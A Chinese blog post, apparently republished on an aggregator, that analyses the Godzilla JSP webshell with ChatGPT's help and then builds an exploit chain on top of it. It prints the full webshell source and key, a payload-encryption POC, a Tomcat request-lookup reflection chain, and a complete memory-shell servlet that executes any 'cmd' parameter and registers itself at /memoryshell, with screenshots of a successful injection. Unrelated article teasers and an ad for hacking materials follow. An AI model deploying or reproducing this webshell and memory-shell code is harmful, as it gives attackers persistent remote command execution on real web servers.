借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘

news2024/11/18 16:46:01

前言

本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。

image-20230607134057823

分析

  • 首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration>
        String xc = "3c6e0b8a9c15224a";
        String pass = "pass";
        String md5 = md5(pass + xc);
        class X extends ClassLoader
        {
            public X(ClassLoader z)
            {
                super(z);
            }
            public Class Q(byte[] cb)
            {
                return super.defineClass(cb, 0, cb.length);
            }
        }
        /*
        * 作用:AES解密
        * m:true加密,False解密
        * */
        public byte[] x(byte[] s, boolean m)
        {
            try
            {
                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
                return c.doFinal(s);
            }
            catch(Exception e)
            {
                return null;
            }
        }
        /*
        * 作用:md5加密
        * */
        public static String md5(String s)
        {
            String ret = null;
            try
            {
                java.security.MessageDigest m;
                m = java.security.MessageDigest.getInstance("MD5");
                m.update(s.getBytes(), 0, s.length());
                ret = new
                        java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
            }
            catch(Exception e)
            {}
            return ret;
        }
        /*
        * 作用:base64加密
        * */
        public static String base64Encode(byte[] bs) throws Exception
        {
            Class base64;
            String value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
                value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Encoder");
                    Object Encoder = base64.newInstance();
                    value = (String) Encoder.getClass().getMethod("encode", new Class[]
                            {
                                    byte[].class
                            }).invoke(Encoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
        /*
        * base64解密
        * */
        public static byte[]base64Decode(String bs) throws Exception
        {
            Class base64;
            byte[] value = null;
            try
            {
                base64 = Class.forName("java.util.Base64");
                Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
                value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
                        {
                                String.class
                        }).invoke(decoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e)
            {
                try
                {
                    base64 = Class.forName("sun.misc.BASE64Decoder");
                    Object decoder = base64.newInstance();
                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
                            {
                                    String.class
                            }).invoke(decoder, new Object[]
                            {
                                    bs
                            });
                }
                catch(Exception e2)
                {}
            }
            return value;
        }
    </jsp:declaration>
    <jsp:scriptlet>
        try
        {
            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
    </jsp:scriptlet>
</jsp:root>

  • 前期可以交付ChatGPT初步分析,理清各个函数的基本作用:

image-20230607134909049

  • 得知各个函数的基本功能之后我们主要看<jsp:scriptlet>中的内容:
try
        {
            byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密
            data = x(data, false);//AES解密
            if(session.getAttribute("payload") == null)
            {
                session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载
            }
            else
            {
                request.setAttribute("parameters", new String(data));
                Object f = ((Class) session.getAttribute("payload")).newInstance();
                f.equals(pageContext);
                response.getWriter().write(md5.substring(0, 16));
                response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
                response.getWriter().write(md5.substring(16));
            }
        }
        catch(Exception e){
            response.getWriter().write(e.getMessage());
        }
  • 可以看到首先会获取pass参数中的内容,进行base64解密获得一个字节数组,传入给x(),该函数第二个参数为true时候是进行加密,而第二个参数是false时候是解密.因此在base64解密后接着是AES解密,其中秘钥在 <jsp:declaration>已经进行定义为xc变量它的值为3c6e0b8a9c15224a。在解密后会判断session.getAttribute("payload") 是否为null,若不是null则将session中的payload变量设置为X类加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:

未命名文件(89)

EXP构建

按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

exp.java

package exp;

import java.io.IOException;

public class exp {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/gg.txt");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • 编译为class
javac exp.java
  • POC,我们可以利用木马中的x()base64Encode当做EXP构成部分即可
package Fvck;

import java.io.*;

class Fvck{

    public static byte[] readFileToByteArray(String filePath) {
        File file = new File(filePath);
        byte[] fileBytes = new byte[(int) file.length()];

        try (FileInputStream fis = new FileInputStream(file)) {
            fis.read(fileBytes);
        } catch (IOException e) {
            e.printStackTrace();
            return null;
        }

        return fileBytes;
    }
    public static byte[] AesEncode(byte[] s, boolean m)
    {
        String xc = "3c6e0b8a9c15224a";
        try
        {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        }
        catch(Exception e)
        {
            return null;
        }
    }
    public static String base64Encode(byte[] bs) throws Exception
    {
        Class base64;
        String value = null;
        try
        {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]
                    {
                            byte[].class
                    }).invoke(Encoder, new Object[]
                    {
                            bs
                    });
        }
        catch(Exception e)
        {
            try
            {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]
                        {
                                byte[].class
                        }).invoke(Encoder, new Object[]
                        {
                                bs
                        });
            }
            catch(Exception e2)
            {}
        }
        return value;
    }

    public static void main(String[] args) throws Exception {
        String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true));
        System.out.println(result);
    }
}

内存马注入

寻找Request

Java Object Searcher
基本使用方法
  • IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址

image-20230608134745602

  • java-object-searcher-0.1.0-jar-with-dependencies.jar放到该地址下的/jre/lib/ext/中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
  • 回到IDEA->File->Project Structure->SDKs,将java-object-searcher-0.1.0-jar-with-dependencies.jar添加到依赖。

image-20230608135436719

  • Tomcat上随便找个地方断点,后打开Evaluate

image-20230608140900703

  • 代码中设置日志输出文件夹,点击Evaluate
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/Users/gqleung/Desktop");
searcher.searchObject();

image-20230608141437030

  • 在运行结束后会输出日志到保存的文件夹:

image-20230608143438929

  • 在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [17] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo}
  • 创建一个线程根据上面链子寻找

image-20230608155228194

代码编写

与上面一致,我们在index.jsp中随便找个地方下断点,Evaluate中进行查找。根据链子我们第一步是获取group,我们通过当前线程去获取该对象。

  • 获取group
Thread thread = Thread.currentThread();//获取线程对象
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
image-20230609150822826
  • 获取threads

获取threads方法与获取group基本一致

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);

image-20230609151523955

我们链子下一个对象是这个数组的第18个元素,也就是下标为17的元素,直接通过下标获取即可,注意一下数据类型。

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];

image-20230609151658901

  • 获取target

在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()去获取,同时该数据类型权限也不够,因此需要用Object去代替.

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);

image-20230609152419395

  • 获取this$0

获取方法以及原因同上

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);

image-20230609153450084

  • 获取handler

这里我们直接同上方法会报错,我们用Class.forName去指定包来获取看看

image-20230609154830435

我们却发现还是报错了,报错提示并不存在handler这个字段

image-20230609155007367

我们直接从依赖中看,AbstractProtocol确实不存在handler,但是存在handler数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler

image-20230609160208708

我们直接尝试从这个包获取handler,发现获取成功

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);

image-20230609160304524

  • 获取global

在获取到handler之后直接通过getClass获取即可

/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
Object global = globalField.get(handler);
  • 回显链最终代码
/*获取group*/
Thread thread = Thread.currentThread();
Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup)groupField.get(thread);
/*获取threads*/
Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(group);
Thread t17 = threads[17];
/*获取target*/
Field targetField = t17.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(t17);
/*获取this$0*/
Field this$0Field = target.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
Object this$0 = this$0Field.get(target);
/*获取handler*/
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this$0);
/*获取global*/
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler);
/*获取processors*/
Field processorsField = global.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList)processorsField.get(global);
Object p0 = processors.get(0);
/*获取request*/
Field reqField = p0.getClass().getDeclaredField("req");
reqField.setAccessible(true);
org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
  • 结合内存马
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.coyote.RequestGroupInfo;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;


public class exp extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        String cmd = request.getParameter("cmd");
        PrintWriter out = response.getWriter();
        try {
            Process ps = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            out.print(result);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
    static {
        try {
            Thread thread = Thread.currentThread();
            Field group = Class.forName("java.lang.Thread").getDeclaredField("group");
            group.setAccessible(true);
            ThreadGroup threadGroup = (ThreadGroup) group.get(thread);
            Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads");
            threads.setAccessible(true);
            Thread[] thread1 = (Thread[]) threads.get(threadGroup);
            Thread t17 = thread1[17];
            Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target");
            targetField.setAccessible(true);
            Object target = targetField.get(t17);
            Field this$0Field = target.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            Object this$0 = this$0Field.get(target);
            Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
            handlerField.setAccessible(true);
            Object handler = handlerField.get(this$0);
            Field globalField = handler.getClass().getDeclaredField("global");
            globalField.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
            Field processorsField = global.getClass().getDeclaredField("processors");
            processorsField.setAccessible(true);
            ArrayList processors = (ArrayList) processorsField.get(global);
            Object r0 = processors.get(0);
            Field reqField = r0.getClass().getDeclaredField("req");
            reqField.setAccessible(true);
            org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0);
            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
            ServletContext servletContext = request.getServletContext();
            Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性
            applicationContextField.setAccessible(true);//设置该属性可访问性为True
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值
            Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值
            standarContextField.setAccessible(true);//设置该属性可访问性为True
            StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext
//注册Servlet
            Wrapper wrapper  = context.createWrapper();//创建一个Wrapper
            wrapper.setName("MemShellServlet");//设置Servlet名字
            wrapper.setServletClass(exp.class.getName());
            wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet
            context.addChild(wrapper);//添加进Context
            context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping
        } catch (Exception e) {
        }
    }
}


使用哥斯拉木马注入Tomcat Servlet内存马

  • 在tomcat中运行上述代码可以在网站WEB-INF/classes/exp.class生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)

image-20230609163959732

  • 需要访问两次才能触发

image-20230609164048486

  • 成功注入内存马

image-20230609164539751

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/972075.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mac下配置JDK环境

一、下载安装 下载地址&#xff1a;Java Downloads | Oracle&#xff0c;选择适用于Mac OS的JDK版本&#xff0c;点击下载即可。 下载完之后&#xff0c;直接安装&#xff1a; 安装过程非常简单&#xff0c;按“继续”按钮一直下一步即可。 二、配置环境变量 上一步骤&#x…

建筑安全运行监测,预防建筑潜在风险

建筑物是人们生活和工作的场所&#xff0c;其安全性直接关系到人们的生命财产安全。建筑安全运行监测旨在及时发现和识别潜在的安全隐患&#xff0c;以确保建筑物的稳定运行&#xff0c;其重要性不可低估。 建筑安全运行监测可以帮助及早发现结构问题。随着时间的推移&#xff…

【模方ModelFun】实景三维建模和修模4.0.7最新版安装包以及图文安装教程

模方ModelFun 具有多种功能&#xff0c;旨在帮助用户进行实景三维建模和修模。以下是一些主要功能的简要介绍&#xff1a; 实景三维建模&#xff1a;【模方ModelFun】提供了自动化的实景三维重建功能&#xff0c;可以从实景图像中提取几何形状和纹理信息&#xff0c;生成高质量…

51单片机DHT11温湿度控制系统仿真设计( proteus仿真+程序+原理图+报告+讲解视频)

51单片机DHT11温湿度控制系统仿真设计 1.主要功能&#xff1a;2.仿真3. 程序代码4. 原理图元器件清单5. 设计报告6. 设计资料内容清单&下载链接 51单片机DHT11温湿度控制系统仿真设计( proteus仿真程序原理图报告讲解视频&#xff09; 仿真图proteus8.9及以上 程序编译器&…

缓存案例-架构真题(二十二)

试题一 某大型电商平台建立一个B2B商店系统&#xff0c;并在全国建设了仓储中心。但是在运营过程中&#xff0c;发现很多跨仓储中心调货&#xff0c;延误运送。为此建立全国仓储系统&#xff0c;通过对订单的分析和挖掘&#xff0c;并通过大数据分析预测各类配置&#xff0c;降…

机器学习---预剪枝、后剪枝(REP、CCP、PEP、)

1. 为什么要进行剪枝 横轴表示在决策树创建过程中树的结点总数&#xff0c;纵轴表示决策树的预测精度。 实线显示的是决策树 在训练集上的精度&#xff0c;虚线显示的则是在⼀个独⽴的测试集上测量出来的精度。 随着树的增⻓&#xff0c;在 训练样集上的精度是单调上升的&…

VSCode 配置 C 语言编程环境

目录 一、下载 mingw64 二、配置环境变量 三、三个配置文件 四、格式化代码 1、安装插件 2、保存时自动格式化 3、左 { 不换行 上了两年大学&#xff0c;都还没花心思去搭建 C 语言编程环境&#xff0c;惭愧&#xff0c;惭愧。 一、下载 mingw64 mingw64 是著名的 C/C…

【AI理论学习】语言模型:掌握BERT和GPT模型

语言模型&#xff1a;掌握BERT和GPT模型 BERT模型BERT的基本原理BERT的整体架构BERT的输入BERT的输出 BERT的预训练掩码语言模型预测下一个句子 BERT的微调BERT的特征提取使用PyTorch实现BERT GPT模型GPT模型的整体架构GPT的模型结构GPT-2的Multi-Head与BERT的Multi-Head之间的…

【高性能计算】opencl语法及相关概念(五):图像的仿射变换缩放

目录 简介宿主机程序设备端函数缩放效果图 简介 要使用仿射变换完成图像等宽高比缩放&#xff0c;可以按照以下步骤进行操作&#xff1a; 定义仿射变换矩阵&#xff1a;首先&#xff0c;定义一个仿射变换矩阵&#xff0c;用于描述缩放操作。该矩阵是一个2x3的矩阵&#xff0c;…

实时操作系统Freertos开坑学习笔记:(三):任务的挂起与恢复、中断管理

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、任务挂起与恢复的API函数1.具体函数描述①vTaskSuspend()任务挂起&#xff08;暂停&#xff09;函数②vTaskResume()任务恢复函数③xTaskResumeFromISR()在…

PAT 1167 Cartesian Tree

个人学习记录&#xff0c;代码难免不尽人意。 A Cartesian tree is a binary tree constructed from a sequence of distinct numbers. The tree is heap-ordered, and an inorder traversal returns the original sequence. For example, given the sequence { 8, 15, 3, 4, 1…

机器学习-波士顿房价预测

目录 一.数据处理 读入数据 数据形状变换 数据集划分 数据归一化处理 将上面封装成load data函数 二. 模型设计 完整封装运行代码&#xff1a; 根据loss值进行梯度计算 控制部分变量的变化图像&#xff1a; 一.数据处理 读入数据 # 导入需要用到的package import numpy as np…

迷你上下标数字转换器

将输入字符串中的数字转换成迷你数字字符&#xff0c;您可以复制带迷你数字的纯文本到任意地方。 (本笔记适合初通Python&#xff0c;熟悉六大基本数据类型(str字符串、int整型、float浮点型、list列表、tuple元组、set集合、dict字典)常规应用的 coder 翻阅) 【学习的细节是欢…

1.1 计算机网络在信息时代中的作用

思维导图&#xff1a; 正文&#xff1a; 我的理解&#xff1a; 这段话是一本书或课程的第一章简介&#xff0c;它的目的是为读者或学生提供一个关于计算机网络基础知识的框架或大纲。 首先&#xff0c;它强调了这章是整本书的一个概览&#xff0c;会先介绍计算机网络在信息时…

Oracle数据库尚硅谷学习笔记

文章目录 Oracle数据库体系结构简介补充SQL初步导入sql文件别名连接符distinct去重的坑 过滤和排序数据日期格式比较运算其它比较运算符逻辑运算优先级排序 单行函数SQL中不同类型的函数单行函数字符数值日期转换通用 使用条件表达式嵌套查询 多表查询等值连接非等值连接左外连…

大数据组件-Flink环境搭建

&#x1f947;&#x1f947;【大数据学习记录篇】-持续更新中~&#x1f947;&#x1f947; 个人主页&#xff1a;beixi 本文章收录于专栏&#xff08;点击传送&#xff09;&#xff1a;【大数据学习】 &#x1f493;&#x1f493;持续更新中&#xff0c;感谢各位前辈朋友们支持…

盛元广通生态环境监测实验室管理系统LIMS

系统背景&#xff1a; 当环境问题已经被普罗大众都开始关心那已经是世界的焦点了&#xff0c;我们在面临水污染、空气污染日益加剧的今天&#xff0c;为解决这些问题&#xff0c;做好监测预警&#xff0c;需要更可靠的数据支撑和智能化管理手段来指导我们决策和行动&#xff0…

【docker】Mac M1 构建 x64 linux镜像

亲测教程 文章目录 首先构建环境 首先 首先你需要有一个 Dockerfile 比如&#xff1a;这里以一个 python 项目举例 FROM python:3.10-slimWORKDIR /appCOPY requirements.txt requirements.txt RUN pip install --no-cache-dir -r requirements.txtCOPY . .CMD [ "pyth…

Android Studio新版本New UI及相关设置丨遥遥领先版

1、前言 俗话说工欲善其事必先利其器嘛&#xff0c;工具用不好怎么行呢&#xff0c;借着Android Studio的更新&#xff0c;介绍一下新版本中的更新内容&#xff0c;以及日常开发中那些好用的设置。 2、关于新版本 2.1、最新正式版本 Android Studio Giraffe | 2022.3.1 Pat…